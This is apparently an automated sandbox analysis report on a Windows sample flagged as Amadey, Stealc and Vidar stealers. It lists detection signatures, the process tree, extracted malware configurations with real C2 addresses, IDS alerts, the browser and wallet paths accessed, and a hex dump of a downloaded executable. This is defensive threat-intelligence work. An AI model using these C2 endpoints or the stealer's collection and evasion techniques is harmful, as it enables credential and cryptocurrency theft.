Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1571822
MD5:	ebffb5c01b1cb9697d08aeef2d74123c
SHA1:	72d3627dd1479500d673967c180a89f54efca317
SHA256:	3a1e4e0d5512534e4b66e1ef57df3261a0c0d1c366e68eb8cacb318af8ad0651
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5264 cmdline: "C:\Users\user\Desktop\file.exe" MD5: EBFFB5C01B1CB9697D08AEEF2D74123C)

chrome.exe (PID: 2268 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5712 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=2172,i,9379353750806782494,3710681808778928881,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7948 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8164 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2404 --field-trial-handle=2268,i,18147046930143251905,629712067082401529,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 1032 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\HIDHIEGIII.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

HIDHIEGIII.exe (PID: 7456 cmdline: "C:\Users\user\Documents\HIDHIEGIII.exe" MD5: 44D9A6B93CD876C421A19439C8000ACA)

skotes.exe (PID: 5972 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 44D9A6B93CD876C421A19439C8000ACA)

msedge.exe (PID: 1924 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 1052 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2324 --field-trial-handle=2200,i,4519856815945680510,4741741539002150674,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 6420 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 44D9A6B93CD876C421A19439C8000ACA)

skotes.exe (PID: 8092 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 44D9A6B93CD876C421A19439C8000ACA)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2699197714.000000000154E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2130684805.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000E.00000002.2728652082.0000000000781000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2697249380.0000000000841000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000011.00000002.3376195450.00000000007D1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2697249380.000000000090C000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.2753861263.00000000007D1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000002.2759115425.00000000007D1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 5264	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 5264	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 5264	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5264	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author
16.2.skotes.exe.7d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
17.2.skotes.exe.7d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
15.2.skotes.exe.7d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
14.2.HIDHIEGIII.exe.780000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 5264, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 2268, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T18:20:04.601146+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49707	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T18:20:04.479095+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49707	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T18:20:04.921354+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49707	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T18:20:06.343417+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49707	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T18:20:05.043089+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49707	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T18:20:04.037723+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49707	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T18:22:05.630325+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50004	185.215.113.43	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T18:20:07.084047+0100	2803304	3	Unknown Traffic	192.168.2.6	49707	185.215.113.206	80	TCP
2024-12-09T18:20:33.928715+0100	2803304	3	Unknown Traffic	192.168.2.6	49788	185.215.113.206	80	TCP
2024-12-09T18:20:35.980959+0100	2803304	3	Unknown Traffic	192.168.2.6	49788	185.215.113.206	80	TCP
2024-12-09T18:20:37.419162+0100	2803304	3	Unknown Traffic	192.168.2.6	49788	185.215.113.206	80	TCP
2024-12-09T18:20:38.665171+0100	2803304	3	Unknown Traffic	192.168.2.6	49788	185.215.113.206	80	TCP
2024-12-09T18:20:42.586580+0100	2803304	3	Unknown Traffic	192.168.2.6	49788	185.215.113.206	80	TCP
2024-12-09T18:20:43.694572+0100	2803304	3	Unknown Traffic	192.168.2.6	49788	185.215.113.206	80	TCP
2024-12-09T18:20:50.029098+0100	2803304	3	Unknown Traffic	192.168.2.6	49828	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/mozglue.dllLs	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll9n	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpam	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpes;C:	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php/;p	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000011.00000002.3376195450.00000000007D1000.00000040.00000001.01000000.0000000D.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.5264.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C966C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C966C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6CABA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB44C0 PK11_PubEncrypt,	0_2_6CAB44C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA84420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6CA84420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB4440 PK11_PrivDecrypt,	0_2_6CAB4440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB025B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6CB025B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6CA9E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA98670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6CA98670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABA650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6CABA650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6CADA730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6CAE0180

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49936 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2713210459.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2713210459.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 28MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49707 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49707 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49707
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49707 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49707
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49707 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50004 -> 185.215.113.43:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 09 Dec 2024 17:20:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 